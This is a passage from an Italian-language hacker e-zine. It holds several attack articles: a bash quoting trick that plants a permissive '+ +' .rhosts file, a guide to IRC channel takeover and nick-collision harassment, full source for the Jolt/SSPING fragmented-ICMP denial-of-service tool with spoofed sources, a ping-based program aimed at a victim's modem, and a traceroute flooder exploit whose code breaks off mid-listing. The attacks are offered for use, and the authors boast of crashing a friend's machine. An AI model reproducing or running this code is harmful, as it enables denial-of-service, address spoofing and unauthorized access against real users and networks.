rush:/tmp> bash Ora abbiamo la bash e facciamo un echo alla variabile $PS1 bash-2.03$ echo $PS1 \s-\v\$ Vediamo se e' presente il file .rhosts bash-2.03$ cat ~/.rhosts cat: /export/home/guy/.rhosts: No such file or directory Non e' presente! Usiamo l'mkdir seguito dal comando di prima: bash-2.03$ mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` " usiamo il comand 'cd' seguito da una serie di slash per entrare bash-2.03$ cd \\\ \ / Ora facciamo un cat al file .rhosts della directory in cui eravamo prima. bash-2.03$ cat /export/home/guy/.rhosts\ + + sh-2.03$ Per ritrovarci una bella shelluzza da root! Questo e' un errore di virgolette. Se guardiamo il comando 'mkdir' che ho scritto, osserviamo che i backslash non sono evitati - cosi' anche se sono dentro le "" sono lo stesso valutati. Prova: $ ls /export/home/urk/.rh* ls: /export/home/urk/.rh*: No such file or directory $ echo $PS1 \$ $ mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` " $ ls /export/home/urk/.rhosts\ /export/home/urk/.rhosts Questo bug e' presente solo nelle bash shell precedenti alla 2.0, infatti nella 2.0 il bug e' stato corretto. Comunque per tutti quelli che possiedono la bash-1.14.7 qui sotto c'e' la patch per corregere quel bug. ----------taglia qui----------- --- parse.y.orig Thu Apr 22 11:53:01 1999 +++ parse.y Thu Apr 22 12:56:34 1999 @@ -2729,6 +2729,17 @@ #else getwd (t_string); #endif /* EFFICIENT */ + if (strcspn(t_string, slashify_in_quotes) < strlen(t_string)) { + char t_string2[MAXPATHLEN]; + int i, j; + for (i = 0, j = 0 ; t_string[i] && j < MAXPATHLEN - 2 ; i++) { + if (member(t_string[i], slashify_in_quotes)) + t_string2[j++] = '\\'; + t_string2[j++] = t_string[i]; + } + t_string2[j] = '\0'; + strcpy(t_string, t_string2); + } if (c == 'W') { ----------taglia qui----------- Spero che vi ho comunicato qualcosa che non sapevate, comunque questa informazione l'ho raccolta su buqtraq e per tutti quelli che vogliono approfondire i bug della shell bash andranno li'. ############################################################################## IrcWar-IrcWar-IrcWar-IrcWar-IrcWar GUIDA ALLA GUERRA SU IRC(1) IrcWar-IrcWar-IrcWar-IrcWar-IrcWar Bene benvenuti nel primo di una lunga serie di articoli riguardo l'Irc War. Non mi ritengo un maestro dell'Irc, ma se siete particolarmente inesperti in materia, vi insegnero' parecchia roba. Sorvolando che sappiate tutti i comandi base di Irc, passiamo al sodo. Facciamo finta che siete su un canale e che volete l'op. L'unica cosa che vi servono sono il LinkLooker, dopo vi spiego a cosa serve, e un po' di culo. Il link looker e' un prog che vi comunica quali sono i server splittati, seguendo l'insieme di quelli che vi interessano( Undernet, Ircnet, Dalnet,ecc). Il culo vi servira' invece a trovare dei server splittati che si collegheranno agli altri server poco dopo che vi siete collegati. Hmm, e' un po' frastagliato eh? Allora, come prima cosa devo spiegarvi cosa significa server splittato. Un server irc splitta quando si scollega dagli altri server della rete irc Esempio: la rete irc e' formata da molti server irc tutti comunicanti tra loro. Quando uno di questi si sconnette dagli altri avviene lo split. Se tu ti colleghi sul server dove e' avvenuto lo split, immaginando che in quella parte di server ci sia solo tu, ottieni l'op su quel canale. Ora pero' ci sarai solo tu sul chan perche' appunto il server e' disconnesso dagli altri. Quando il server splittato si colleghera' agli altri, otterrai l'op insieme a tutti quelli che gia' l'avevano, perche' il server splittato vedra' solo te sul chan. Ora che hai capito la definizione di 'splittato' spero che avrai intuito che con questo metodo si possono fare parecchie cosine. A parte i vari takeover, potreste creare anche una nick collision: facciamo finta che uno vi sta sul cazzo e non volete sprecare uno smurf per lui. Connettetevi col suo nick al server splittato: quando il server splittato si connettera' agli altri verrete killati tutti e due da irc; pero' mi raccomando non intervenite col vostro client ma fatelo fare ad un clone, ovvero aprite una seconda connessione per fare cio'. Esistono due metodi per rintracciare degli split: Il primo e' andare sul canale &servers, canale che vi dara' informazioni riguardo tutte le stranezze riscontrate su quel server. Il secondo e' usare Link Looker. Ecco il listato del Link Looker: ---------------inizio---------------- /*=============================================================*\ * ll.c - link looker * * Copyright (C) 1994 by The Software System and lilo * * Written by George Shearer (george@sphinx.biosci.wayne.edu) * * Cleaned up to usability by lilo. :) * * * * September, 1994 - added help, version info and made the * * program so you can actually use it. :) * * --lilo * * * * October 14, 1994 - cleaned up output flushing so you can * * actually watch in something like real * * time. :) --lilo * * * * October 28, 1994 - kill -1 will now produce a list of SPLIT * * servers. -Doc * * * * November 4, 1994 - should compile on non-POSIX systems now. * * use -DHPSUCKS for HP-sUX systems 9.0x * * November 15, 1994 - fixed a small bug in lilo's -h checker * \*=============================================================*/ /* This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ /* Compiling examples: regular old ANSI/C cc: cc -O -s -o ll ll.c HP-UX cc: cc +O3 -Aa -s -DHPSUCKS -o ll ll.c GNU GCC: Linux: gcc -O2 -fomit-frame-pointer -funroll-loops -m486 -s -Wall -o ll ll.c BSD, SunOS 4.1.x, Slowaris 2.x, NeXT: gcc -O2 -funroll-loops -s -Wall -o ll ll.c */ #define VERSION "1.06" #define BUFSIZE 400 /* IRC Server buffer */ #define SERVER "irc.tin.it" /* IRC Server */ #define PORT 6667 /* IRC Port */ #define LDELAY 30 /* Loop delay seconds*/ #define TIMEOUT 30 /* connection timeout*/ #define ESTABLISHED 1 #define INPROGRESS 2 #define SPLIT 1 #ifdef HPSUCKS #define _INCLUDE_HPUX_SOURCE #define _INCLUDE_XOPEN_SOURCE #define _INCLUDE_POSIX_SOURCE #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include unsigned short int session=0,link_count=0; char in[BUFSIZE],out_buf[BUFSIZE],hostname[64]; char *ins=in; char serverhost[81], nick[10], user[10], realname[81], lasttime[81]; time_t ltime; struct irc_server { char *name; char *link; unsigned short int status; time_t time; struct irc_server *next; } *sl1=(struct irc_server *)0,*sl2=(struct irc_server *)0; void do_ping(char *,char *); void do_001(char *,char *); void do_error(char *,char *); void do_364(char *,char *); void do_365(char *,char *); /* prototyping is lame when the function is in the same code, lilo outta just move the function before all other functions that call it :-) */ char *stamp(time_t); struct parsers { char *cmd; void (*func)(char *,char *); } parsefuns[] = { { "PING", (void (*)())do_ping }, { "001", (void (*)())do_001 }, { "364",(void (*)())do_364 }, { "365", (void (*)())do_365}, { "ERROR",(void (*)())do_error}, { (char *)0,(void (*)())0 } }; struct sockaddr_in server; int sock=0; #ifndef sys_errlist extern char *sys_errlist[]; #endif #ifndef errno extern int errno; #endif char * mystrerror(int err) { return(sys_errlist[err]); } unsigned long int resolver(char *host) { unsigned long int ip=0L; if(host && *host && (ip=inet_addr(host))==-1) { struct hostent *he; int x=0; while(!(he=gethostbyname((char *)host)) && x++<3) { fprintf(stderr,"."); fflush(stderr); sleep(1); } ip=(x<3) ? *(unsigned long *)he->h_addr_list[0] : 0L; } return(ip); } void clean_sl2(void) { while(sl2) { struct irc_server *temp=sl2->next; if(sl2->name) free(sl2->name); if(sl2->link) free(sl2->link); free(sl2); sl2=temp; } sl2=(struct irc_server *)0; } void exit_program(char *why) { fprintf(stderr,"\nExiting program. (%s)\n",why); if(sock) close(sock); while(sl1) { struct irc_server *temp=sl1->next; if(sl1->name) free(sl1->name); if(sl1->link) free(sl1->link); free(sl1); sl1=temp; } clean_sl2(); if(in) free(in); exit(0); } int mystrccmp(register char *s1,register char *s2) { while((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)== (((*s2)>='a'&&(*s2)<='z')?(*s2++)-32:*s2++)) if(*s1++==0) return 0; return (*(unsigned char *)s1-*(unsigned char *)--s2); } char *mstrcpy(char **to,char *from) { if(from) { if((*to=(char *)malloc(strlen(from)+1))) strcpy(*to,from); } else *to=(char *)0; return(*to); } char *digtoken(char **string,char *match) { if(string && *string && **string) { while(**string && strchr(match,**string)) (*string)++; if(**string) { /* got something */ char *token=*string; if((*string=strpbrk(*string,match))) { *(*string)++=(char)0; while(**string && strchr(match,**string)) (*string)++; } else *string = ""; /* must be at the end */ return(token); } } return((char *)0); } void signal_handler(void) { exit_program("caught signal"); } void signal_alarm(void) { exit_program("timed out waiting for server interaction."); } void out(void) { int length=strlen(out_buf); errno=0; if(write(sock,out_buf,length)!=length) exit_program(mystrerror(errno)); } void init_server(void) { int length; sprintf(out_buf,"USER %s %s %s :%s\nNICK %s\nMODE %s +is", \ user, user, user, realname, nick, nick); length=strlen(out_buf); errno=0; if(write(sock,out_buf,length)==length) { fputs("established\n",stderr); session=ESTABLISHED; alarm(TIMEOUT); sprintf(out_buf,"LINKS\n"); out(); } else exit_program(mystrerror(errno)); } void heartbeat(void) { strcpy(out_buf,"LINKS\n"); out(); signal(SIGALRM,(void (*)())heartbeat); alarm(LDELAY); } void do_364(char *from,char *left) { struct irc_server *serv; char *sv1,*sv2; char *nick; serv=(struct irc_server *)malloc(sizeof(struct irc_server)); serv->next=sl2; serv->status=0; nick=digtoken(&left," "); sv1=digtoken(&left," "); sv2=digtoken(&left," "); mstrcpy(&serv->name,sv1); mstrcpy(&serv->link,sv2); sl2=serv; } int findserv(struct irc_server *serv,char *name) { for(;serv;serv=serv->next) if(!mystrccmp(name,serv->name)) return(1); return(0); } void show_split(void) { struct irc_server *serv=sl1; signal(SIGHUP,(void (*)())show_split); for(;serv;serv=serv->next) { if(serv->status & SPLIT) { printf("%s SPLIT: %s [%s]\n",stamp(serv->time),serv->name,serv->link); fflush(stdout); } } } void do_365(char *from,char *left) { struct irc_server *serv=sl1; for(;serv;serv=serv->next) { if(!findserv(sl2,serv->name)) { if(!(serv->status & SPLIT)) { serv->time=time(NULL); printf("%s SPLIT: %s [%s]\n",stamp(serv->time),serv->name,serv->link); fflush(stdout); serv->status|=SPLIT; } } else if(serv->status & SPLIT) { serv->time=time(NULL); printf("%s MERGE: %s [%s]\n",stamp(serv->time),serv->name,serv->link); fflush(stdout); serv->status&=~SPLIT; } } serv=sl2; for(;serv;serv=serv->next) { if(!findserv(sl1,serv->name)) { struct irc_server *serv2; serv2=(struct irc_server *)malloc(sizeof(struct irc_server)); serv2->next=sl1; serv2->status=0; mstrcpy(&serv2->name,serv->name); mstrcpy(&serv2->link,serv->link); sl1=serv2; serv2->time=time(NULL); if(link_count) { printf("%s ADDED: %s [%s]\n",stamp(serv2->time),serv->name,serv->link); fflush(stdout); } } } link_count=1; clean_sl2(); } void do_ping(char *from,char *left) { sprintf(out_buf,"PING :%s\n",hostname); out(); } void do_001(char *from,char *left) { fprintf(stderr,"Logged into server %s as nickname %s\n\n",from,nick); fflush(stderr); alarm(0); signal(SIGALRM,(void (*)())heartbeat); alarm(LDELAY); } void do_error(char *from,char *left) { fprintf(stderr,"Server error: %s\n",left); fflush(stderr); } void parse2(void) { char *from,*cmd,*left; if(*ins==':') { if(!(cmd=strchr(ins,' '))) return; *cmd++=(char)0; from=ins+1; } else { cmd=ins; from=(char *)0; } if((left=strchr(cmd,' '))) { int command; *left++=(char)0; left=(*left==':') ? left+1 : left; for(command=0;parsefuns[command].cmd;command++) { if(!mystrccmp(parsefuns[command].cmd,cmd)) { parsefuns[command].func(from,left); break; } } } } void parse(int length) { char *s=in; *(ins+length)=(char)0; for(;;) { ins=s; while(*s && *s!=(char)13 && *s!=(char)10) s++; if(*s) { while(*s && (*s==(char)13 || *s==(char)10)) *s++=(char)0; parse2(); } else break; } strcpy(in,ins); ins=in+(s-ins); } void process_server(void) { int x=0; for(;;) { fd_set rd,wr; struct timeval timeout; timeout.tv_usec=0; timeout.tv_sec=1; FD_ZERO(&rd); FD_ZERO(&wr); FD_SET(sock,&rd); if(session==INPROGRESS) FD_SET(sock,&wr); errno=0; #ifdef HPSUCKS select((size_t)FD_SETSIZE,(int *)&rd,(int *)&wr,(int *)0,(session==INPROGRESS)?(const struct timeval *)&timeout:(const struct timeval *)0); #else select(getdtablesize(),(fd_set *)&rd,(fd_set *)&wr,(fd_set *)0,(session==INPROGRESS)?(struct timeval *)&timeout:(struct timeval *)0); #endif if(errno==EINTR) continue; errno=0; if(session==INPROGRESS) { if(FD_ISSET(sock,&wr)) { init_server(); continue; } else { if(x++>=TIMEOUT) exit_program("connection timed out"); fprintf(stderr,"."); fflush(stderr); } } if(FD_ISSET(sock,&rd)) { int length=read(sock,ins,BUFSIZE-(ins-in)); if(length<1) { if(session!=INPROGRESS) { if(!errno) { fputs("Connection closed by foreign host.",stderr); errno=ENOTCONN; } else fprintf(stderr,"Connection to %s closed.\n", inet_ntoa(server.sin_addr)); fflush(stderr); } exit_program(mystrerror(errno)); } if(strpbrk(in,"\x0a\x0d")) parse(length); else ins=(BUFSIZE-((ins+length)-in)<1)?in:ins+length; } } } char *stamp(time_t ltime) { strftime(lasttime, 81, "%x %X", localtime(<ime)); return (char *) &lasttime; } void main(int argc,char *argv[]) { unsigned short int sport=PORT; unsigned int loop; struct passwd *passent; fprintf(stderr, "Link Looker v%s, written and designed by Dr. Delete.\n" \ " Enhanced by lilo.\n" \ "Type '%s -h' or '%s --help' for more information.\n\n", VERSION, argv[0], argv[0]); for(loop=1; loop [[:] ['' " \ "[]]]]\n\n where:\n\n" \ " is the nickname to be used (default is userid),\n" \ " is the hostname of the server to be used,\n" \ " is a four digit port number (default is 6667),\n" \ " is a description of the user (default is gecos info), and\n" \ " is the user account field, used only if identd\n" \ " has not been enabled on the user's system.\n", \ argv[0]); exit(1); } } passent=getpwuid(getuid()); if(argc>1) strncpy(nick,argv[1],9); else strncpy(nick,passent->pw_name,9); if(argc>2) { char *port=strchr(argv[2],':'); sport=(port)?atoi(port+1):sport; strncpy(serverhost,argv[2],80); if(port) serverhost[port-argv[2]]=(char)0; } else strncpy(serverhost,SERVER,80); if(argc>3) strncpy(realname,argv[3],80); else { char *comma=strchr(passent->pw_gecos,','); strncpy(realname,passent->pw_gecos,80); if(comma) realname[comma-(passent->pw_gecos)]=(char)0; } if(argc>4) strncpy(user,argv[4],9); else strncpy(user,passent->pw_name,9); signal(SIGPIPE,(void (*)())signal_handler); signal(SIGHUP,(void (*)())show_split); signal(SIGINT,(void (*)())signal_handler); signal(SIGTERM,(void (*)())signal_handler); signal(SIGBUS,(void (*)())signal_handler); signal(SIGABRT,(void (*)())signal_handler); signal(SIGSEGV,(void (*)())signal_handler); signal(SIGALRM,(void (*)())signal_alarm); errno=0; if((sock=socket(AF_INET,SOCK_STREAM,0))>0) { server.sin_family=AF_INET; server.sin_port=htons(sport); fprintf(stderr,"Resolving %s...",serverhost); fflush(stderr); if((server.sin_addr.s_addr=resolver(serverhost))) { fputs("done\n",stderr); fflush(stderr); setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0); setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0); setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0); fcntl(sock,F_SETFL,(fcntl(sock,F_GETFL)|O_NDELAY)); fprintf(stderr,"Connecting to %s...",inet_ntoa(server.sin_addr)); fflush(stderr); errno=0; if(connect(sock,(struct sockaddr *)&server,sizeof(server))) { if(errno!=EINPROGRESS && errno!=EWOULDBLOCK) exit_program(mystrerror(errno)); else session=INPROGRESS; } else init_server(); gethostname(hostname,64); process_server(); } else exit_program("resolve failed"); } else { fprintf(stderr,"Failed to allocate an AF_INET socket. (%s)\n", \ mystrerror(errno)); fflush(stderr); } } ----------------Fine----------------- Ecco qui, il funzionamento e' semplice! Dovrete specificare un irc server, una porta e i vari timeout nel sorgente, mentre una volta compilato dovrete specificare solo alcune cose, come il nick, l'user ecc. Penso che per ora basti, la proxima volta vedremo...... ############################################################################## _________________ / ______________/ ||||| | | | | SSPING ATTACK | |______________ \________________\ ||||| Quanti di voi conosco l'SSPING? Facendo finta che la vostra risposta sia 'TUTTI', avete presente su cosa si basa? Facendo finta che la vostra risposta sia 'NO' ora ve lo spiego. Si tratta di un programma che costruisce un pacchetto frammentato molto grande e che, una volta preso dal win, lo fa bloccare. Di tutti i pacchetti che vengono mandati ne bastano pochi per far bloccare il win95. Io lo provai su un mio amico che aveva il win95: sapete il risultato qual'e' stato? Che dopo aver mandato quella serie di pacchetti a lui ci usci' la fatidica schermata blu, comune a molti winzozz. Mi e' stato detto che funziona solo con win95 ma a volte fa bloccare anche il win98 se usato ripetutamente. Qui di seguito e' riportato il codice. #define __BSD_SOURCE #include #include #include #include #include #include #include #include #include #include Questi sono gli include che servono per la comunicazione dei socket e per la trasmissione di pacchetti icmp. int main(int argc, char **argv) { int s,i; char buf[400]; struct ip *ip = (struct ip *)buf; struct icmphdr *icmp = (struct icmphdr *)(ip + 1); struct hostent *hp, *hp2; struct sockaddr_in dst; int offset; int on; int num = 5; /*Se non sono stati specificati tutti gli argomenti stampa il menu*/ if (argc < 3) { printf("Jolt v1.0 ANOTHER windows95(And macOS!) glitch by VallaH\n"); printf("\nusage: %s [number]\n",argv[0]); printf("\tdstaddr is the host your attacking\n"); printf("\tsaddr is the host your spoofing from\n"); printf("\tNumber is the number of packets to send, 5 is default\n"); printf("\nGreets to Bill Gates! How do ya like this one?:-)\n"); exit(1); } if (argc == 4) num = atoi(argv[3]); /*Ciclo che va da 1 al numero di volte specificato*/ for (i=1;i<=num;i++) { on=1; bzero(buf, sizeof buf); /*se il socket e' minore di 0 significa che c'e' stato un errore*/ if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW )) < 0) { perror("socket"); exit(1); } if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { perror("IP_HDRINCL"); exit(1); } /*se l'indirizzo ricavato da quello specificato non esiste, esce*/ if ((hp = gethostbyname(argv[1])) == NULL) { if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) { fprintf(stderr, "%s: unknown host\n", argv[1]); exit(1); } } else { bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length); } /*se l'indirizzo ricavato da quello specificato non esiste, esce*/ if ((hp2 = gethostbyname(argv[2])) == NULL) { if ((ip->ip_src.s_addr = inet_addr(argv[2])) == -1) { fprintf(stderr, "%s: unknown host\n", argv[2]); exit(1); } } else { bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length); } /*Manda dei paccheti icmp alla vittima utilizzando l'ip spoffato*/ /*questi pacchetti sono modificati ma costruiti in modo da non */ /*venir scartati al primo router*/ printf("Sending to %s\n", inet_ntoa(ip->ip_dst)); ip->ip_v = 4; ip->ip_hl = sizeof *ip >> 2; ip->ip_tos = 0; ip->ip_len = htons(sizeof buf); ip->ip_id = htons(4321); ip->ip_off = htons(0); ip->ip_ttl = 255; ip->ip_p = 1; ip->ip_csum = 0; dst.sin_addr = ip->ip_dst; dst.sin_family = AF_INET; /*decide il tipo di icmp da mandare*/ icmp->type = ICMP_ECHO; icmp->code = 0; icmp->checksum = htons(~(ICMP_ECHO << 8)); /*manda pacchetti fino a quando la lunghezza e' maggiore a 65536*/ for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) { ip->ip_off = htons(offset >> 3); if (offset < 65120) ip->ip_off |= htons(0x2000); else ip->ip_len = htons(418); /* in totale ne costruisce 65538 */ if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst, sizeof dst) < 0) { fprintf(stderr, "offset %d: ", offset); perror("sendto"); } if (offset == 0) { icmp->type = 0; icmp->code = 0; icmp->checksum = 0; } } close(s); usleep(30000); } return 0; } Come avrete capito non e' molto difficile intuire cio' che fa sto codice. Utilizza i sock_raw, per autocostruirsi i pacchetti, e manda un echo request modificato in modo da far bloccare il winzozz. Credo che abbiate capito, altrimenti vi rimando a fare una ricerca su internet riguardo ai socket. ############################################################################## /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ | Ping: macchina da guerra | \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Sapete cosa fa il ping??? Il Ping usa il protocollo ICMP per mandare degli ECHO_REQUEST per avere da parte del server una ICMP ECHO_RESPONSE . I datagrammi ECHO_REQUEST(``pings'') hanno un IP e un ICMP header, seguiti da ``struct timeval'' e poi un numero arbitrario di bytes ``pad'' usati per spedire i pacchetti. Sono possibili le seguenti opzioni: -c count Si ferma dopo aver mandato (e ricevuto) i pacchetti ECHO_RESPONSE. -d Setta l'opzione SO_DEBUG sul socket che sta per essere usato. -f Flood ping. Manda pacchetti molto velocemente fino al loro ritorno o cento volte al secondo. Per ogni ECHO_REQUEST spedito sono stampati un gruppo di ``.'' , mentre per tutti gli ECHO_REPLY ricevuti stampa uno spazio. Questo provvede a dimostrarti quanti pacchetti sono stati mandati. Attenzione, questa opzione puo' essere usata solo dal root perche' puo' causare delle difficolta' su un server ed e' stata creata con lo scopo di testare le proprie reti, ma in realta' a noi quello frega poco . -i wait Aspetta dei secondi prima di continuare..Il default e' un secondo tra ogni pacchetto, ed e' icompatibile con l'opzione -f -l preload Se specificate questa opzione, il ping manda molti pacchetti piu' veloci possibili prima di comportarsi normalmente. Anche quest'opzione puo' essere usata solo dal root, ma a noi non frega proprio, vero? -n Uscita solo numerica. -p pattern Qui dovrai specificare un numero esadecimale di due cifre, che saranno i bytes che riempiranno il pacchetto da spedire. Questa opzione e' molto utile per diagnosticare problemi dipendenti da dati su un server. Per esempio, ``-p ff'' causera' la spedizione del pacchetto da essere riempito con tutti. -q Non stampa niente, eccetto la linea di sommario all'inizio e quando finisce. -R Registra la rotta. Include l'opzione RECORD_ROUTE nel pacchetto ECHO_REQUEST e mostra il buffer della rotta al ritorno dei pacchetti. Molti hosts ignorano questa opzione. -r Bypassa la tabella del routing e manda direttamente all'host sul server voluto. Se l'host non puo' essere direttamente colpito compare un errore. -s packetsize Specifica il numero dei bytes da spedire. Il default e' 56, che traduce dentro i 64 bytes di dati ICMP quando e' unito agli 8 bytes dell'header ICMP. -v Tutti i pacchetti ricevuti vengono mostrati. Bene, bene, credo che tutti avrete ben capito le funzioni del ping e le sue potenzialita'. Vogliamo crarci un bel DOS che mandi un carattere illegale ad un modem??? Ok, per prima cosa vi dico che tutti noi abbiamo settato delle proprieta' del modem: bit di parita', bit di trasmissione, ecc e che queste proprieta' fanno parte del protocollo PPP. Ora se noi mandiamo un bit errato il modem non l'accettera' e causera' qualcosina di malizioso alla sventurato. Ihih, tutto questo e' possibile con PING, usando le opzioni -s e -p . L'opzione -s , come abbiamo gia' visto serve per specificare la grandezza del pacchetto, ora visto che un pacchetto ICMP e' formato da 64 bit di cui 8 sono l'header, voi direte che dovrete specificarne 56?? Beh, lo potete fare solo che avrete un pacchetto icmp regolare e noi questo non lo vogliamo, vero? Ihihihih! L'opzione -p serve per specificare il carattere da sendare che puo' andare da 16 a FF. Vi consiglio 7d o 7e visto che sono dei caratteri ireggolari non ben accetti al modem. Iniziamo a costruirci il nostro bel programmino: Prima cosa dovremo specificare l'include che conterra' tutte le funzioni per la gestione dei processi. Infatti se ci sara' stato un errore, l'istruzione SIGALRM ve lo comunichera'. #include Seconda cosa dovremo specificare il path dove e' contenuto il ping: #define PING "/bin/ping" Iniziamo con il main, dove dovremo passargli come parametri il numero degli argomenti e gli argomenti (ovvero tutte i dati che ci consentono la spedizione) main( int argc, char *argv[] ) { int permessi; /*Se non sono stati passati tutti gli argomenti stampa il menu' */ if (argc < 3) { printf (" Killit by Urkes "); printf("uso: %s \\n", argv[0]); exit(0); } /* Controlla se i permessi sono validi, visto che l'opzione -p */ /* richiede di essere root */ if(!(permessi = fork())) execl(PING, "ping", argv[1], "-s", argv[2], "-p", argv[3]); if ( permessi <=0 ) { printf("I permessi non sono validi\\n"); exit(1); } sleep (1); /* passa un secondo prima di continuare */ while (1) if ( kill(permessi, SIGALRM) ) exit(1); } Questo prog e' veramente semplice sia da fare che da utilizzare. Ma se date sfogo alla vostra fantasia potrete creare dei veri e propri ICMP flooder o, come ho fatto io, potete modificare il sorgente del ping eliminandoci le opzioni stupide e personalizzando quelle utili facendole diventare piu' da war! Per ora e' tutto, mi raccomando aprite gli occhi ;D ############################################################################## /\ /\ /\ /\ /\ /\ /--\/--\/--\/--\/--\/--\ (|TRACEROUTE COME FLOODER) \__/\__/\__/\__/\__/\__/ \/ \/ \/ \/ \/ \/ Due bug di traceroute permettono all'utente di usare traceroute come un piccolo udp flooder, o (solo dalla versione 1.4) anche come icmp flooder E' stato testato sulle maggiori distribuzioni di linux e su alpha unix, e, la maggior parte delle volte, l'esito e' stato positivo. -primo bug- valore di waittime sistemi affetti: linux e alpha unix traceroute non tratta molti argomenti con valori alti con l'opzione -w . il valore del limite non sembra rimanere costante, ma mai e' piu' grande di (1<<31)-1 o su altri fronti ((1<<(sizeof(int)*8)-1)-1) su sistemi gia' testati dove la grandezza di int e' 4. Il problema consiste nel settare il valore di waittime (waittime = str2val(optarg, "wait time",2,-1);), usato in wait_for_reply per attendere una risposta. allora passando un valore alto all'opzione -w traceroute non attendera' per i pacchetti di ritorno. -second bug- -s (l'indirizzo sorgente da cui vengono inviati i pacchetti) sistemi affetti: linux (anche altri) Di solito traceroute controlla se l'indirizzo sorgente da cui vengono inviati i pacchetti corrisponde ad uno degli indirizzi in cui ci si trova; nel caso in cui non corrisponde, appare un errore e non viene inviato nulla. sui linux traceroute fallisce questo controllo. in questo caso ognuno puo' mandare pacchetti che provengono da un indirizzo falso (spoffato) e non ricevera' risposte dai pacchetti (TIME_EXCEEDED o PORT_UNREACHABLE ed anche unexpected packets) considerando il massimo numero di pacchetti che traceroute puo' inviare, il numero di pacchetti per secondo ricevuti dall'host target, il minimo pacchetto ICMP usato da traceroute, possiamo realizzare un vero flooder udp/icmp usando traceroute, avremmo sicuramente un buon flooder visto le potenzialita' e nessuno puo' realizzare un vero DOS contro la vittima; comunque basta settare il numero delle query (-q), la grandezza dei pacchetti, e se vogliamo, anche il time-to-live dal primo pacchetto spedito. (non non siamo usanso traceroute per tener traccia della rotta seguita da un pacchetto ma stiamo tentando di floodare, se conosciamo la topologia della rete tra noi e l'obbiettivo e possiamo settare il time-to-live dal primo pachetto conoscendo la distanza.) Se vuoi usare `traceroute -w $(((1<<31)-1)) -q 8 -f n -s xxx.xxx.xxx.xxx target 1460' o se vuoi tentare di sapere il valore del waittime , qui di seguito e' riportato il codice per sfruttare questi bug. Questo codice e' stato realizzato da Alfonso De Gregorio, colui che ha scoperto i bug, ed e' presentato nella sua forma originale. --Taglia qui-- /* tracerouteflood.c by (fhex) Alfonso De Gregorio a special thanks to: my sister :) Davide (buzzz) Bozzelli a great friend that let me use his alpha Salvatore (antirez) Sanfilippo and Lorenzo (gigi_sull) Cavallaro two friend always available to pay attantion to my nonsenses and take me great advices This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License. ------------------------------------------------------------------------- WARNING: this program is only for dimostrative use. USE IT AT YOUR OWN RISK! The autors decline responsability caused by bad or malicious use. to compile: gcc -O2 tracerouteflood.c -o tracerouteflood (should copile succesfully on Debian, Slackware, RedHat, DigitalUnix etc.) alfonso de gregorio ------------------------------------------------------------------------- */ #include #include #include #include #include #define TRACEROUTE "/usr/sbin/traceroute" /* traceroute's pathname */ #define MAX_LENGHT 12 /* buffer dimension */ int usage(char *argo) { printf("usage: %s: %s [-I] [-f first_ttl] [-q nqueries] [-s source_ip] hostname [packetlen]\n",argo,argo); printf("\t -I\t\tflood using ICMP ECHO instead of UDP datagrams.\n"); printf("\t -f firt_ttl\tthe initial time-to-live used in the first outgoing packet\n"); printf("\t -q nqueries\tqueries number\n"); printf("\t -s source_ip\tthis ip is the address of the outgoing packets\n"); printf("\n\t(-I and -f switches works only with traceroute 1.4 or higher)\n"); printf("\t[source_ip] can be arbitrary only on linux\n"); printf("\n\tFor example:./tracerouteflood -I -f 2 -q 8 -s xxx.xxx.xxx.xxx dest.somewhere.com 1460\n"); return 1; } int main(int argc, char **argv ) { char badwait[MAX_LENGHT]; pid_t pid_traceroute; register int op; int i,j; char *cmdline[10]={}; if (argc < 2 || argc > 10 ) exit(usage(argv[0])); #ifdef __alpha__ /* an integer overflow */ /* please, if ((1<<(sizeof(int)*8)-1)-1) isn't enought on your system */ /* repleace it with just a big number (don't forget to mail me :) */ sprintf(badwait,"%ld",((1<<(sizeof(int)*8)-1)-1) ); #else snprintf(badwait,MAX_LENGHT,"%ld",((1<<(sizeof(int)*8)-1)-1) ); #endif opterr=0; while ((op = getopt(argc, argv, "If:q:s:")) != EOF) switch (op) { case 'I': cmdline[1]=argv[optind-1]; break; case 'f': cmdline[2]=argv[optind-2]; cmdline[3]=argv[optind-1]; break; case 'q': cmdline[4]=argv[optind-2]; cmdline[5]=argv[optind-1]; break; case 's': /* if you have noticed -s bug also on other systems then linux let free to add */ /* here the symbol for the preprocessor (and don't forget to mail me:) */ #ifdef __linux__ cmdline[6]=argv[optind-2]; cmdline[7]=argv[optind-1]; #else printf("since now this bug appeare to be present only on linux\n"); exit(1); #endif break; default: exit(usage(argv[0])); break; } switch (argc - optind) { case 1: cmdline[8]=argv[optind]; break; case 2: cmdline[8]=argv[optind]; cmdline[9]=argv[optind+1]; break; default: exit(usage(argv[0])); } for (i=1;i<9;i++){ if (cmdline[i] == NULL && cmdline[i+1] != NULL) { for(j=i;j<9;j++){ cmdline[j]=cmdline[j+1]; cmdline[j+1]=(char *) NULL; } i=0; } } pid_traceroute = fork(); if ( pid_traceroute == 0) { 